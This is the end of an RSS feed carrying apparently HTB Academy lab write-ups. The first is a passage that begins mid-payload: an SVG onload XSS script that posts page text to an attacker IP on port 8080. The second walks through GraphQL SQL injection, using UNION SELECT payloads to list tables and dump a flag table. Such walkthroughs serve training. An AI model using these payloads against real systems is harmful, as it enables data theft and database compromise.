xmlns=&quot;http://www.w3.org/2000/svg&quot; onload=&quot;<br>  fetch(&#39;http://IP:8080/receive&#39;, {<br>    method: &#39;POST&#39;,<br>    headers: {&#39;Content-Type&#39;:&#39;text/plain&#39;},<br>    body: document.body.innerText<br>  });<br>&quot;&gt;&lt;/svg&gt;</pre><p>I successfully received the content and saved it to <strong>data.txt</strong></p><h3>Questions</h3><p><strong>What is the e-mail address of the employee whose e-mail information was stolen from “Hegmann Holdings”?</strong><br> <strong>On what date was the e-mail information of the employee from “Hegmann Holdings” stolen?</strong></p><p>I used:</p><pre>cat data.txt | grep -i Hegmann</pre><p><strong>What are any of the domain names of the companies of the employees who fell victim to the phishing attack?</strong></p><p>Answer:<br> fireflybox.com</p><p><strong>What is the IP address of the attackers who organized the phishing attack?</strong></p><p>I found the attackers’ IP by checking the user who submitted test as the email and password</p><p><strong>“Good luck and happy hunting! 🚀”</strong></p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=21de048f54e7" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ATTACK GRAPHQL — Skills Assessment]]></title>
            <link>https://orion7715.medium.com/attacking-graphql-skills-assessment-41bc2c630180?source=rss-f9e7c6fd3d57------2</link>
            <guid isPermaLink="false">https://medium.com/p/41bc2c630180</guid>
            <dc:creator><![CDATA[Orion]]></dc:creator>
            <pubDate>Fri, 03 Oct 2025 21:32:17 GMT</pubDate>
            <atom:updated>2025-10-03T21:53:37.875Z</atom:updated>
            <content:encoded><![CDATA[<h4>HTB Academy</h4><h3>Step 1: Perform GraphQL Introspection</h3><p>After Gather Everything in Every Object I Could not See the Flag</p><p>After Gather Everything in Every Object I Could not See the Flag</p><h3>Step 2: SQLi Testing</h3><p>I tests Every Object that can Take Arguments</p><pre>{<br>  allCustomers(apiKey: &quot;0711a879ed751e63330a78a4b195bbad&#39; -- -&quot;) {<br>    id<br>    firstName<br>    lastName<br>    address<br>  }<br>}</pre><p>Nothing</p><pre>{<br>  employeeByUsername(username: &quot;21y4d &#39; -- -&quot;) {<br>    id<br>   employeeId<br>    username<br>    role<br>    <br>  }<br>}</pre><p>Nothing</p><pre>{<br>  productByName(name: &quot;GPU &#39; -- -&quot;) {<br>    id<br>    name<br>    stock<br>  }<br>}</pre><p>Nothing</p><pre>{<br>  customerByName(lastName: &quot;Saw&#39;yer -- -&quot;,apiKey: &quot;0711a879ed751e63330a78a4b195bbad&quot;) {<br>    id<br>    firstName<br>    lastName<br>    address<br>  }<br>}</pre><p>Here I Got SQL Error in the Argument ‘LastName’</p><p>so we have 4 Colums</p><pre>{<br>  customerByName(lastName: &quot;Saw&#39; UNION SELECT 1,GROUP_CONCAT(table_name),3,4 FROM information_schema.tables WHERE table_schema=database() -- -&quot;,apiKey: &quot;0711a879ed751e63330a78a4b195bbad&quot;) {<br>    id<br>    firstName<br>    lastName<br>    address<br>  }<br>}</pre><p>I got this result</p><pre>{<br>  &quot;data&quot;: {<br>    &quot;customerByName&quot;: {<br>      &quot;id&quot;: &quot;Q3VzdG9tZXJPYmplY3Q6MQ==&quot;,<br>      &quot;firstName&quot;: &quot;employee,product,flag,customer,api_key&quot;,<br>      &quot;lastName&quot;: &quot;3&quot;,<br>      &quot;address&quot;: &quot;4&quot;<br>    }<br>  }<br>}</pre><p>so there is Table Called ‘flag’</p><p>Obtain the Flag</p><pre>{<br>  customerByName(lastName: &quot;Saw&#39; UNION SELECT 1,GROUP_CONCAT(flag),3,4 FROM flag -- -&quot;,apiKey: &quot;0711a879ed751e63330a78a4b195bbad&quot;) {<br>    id<br>    firstName<br>    lastName<br>    address<br>  }<br>}</pre><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=41bc2c630180" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>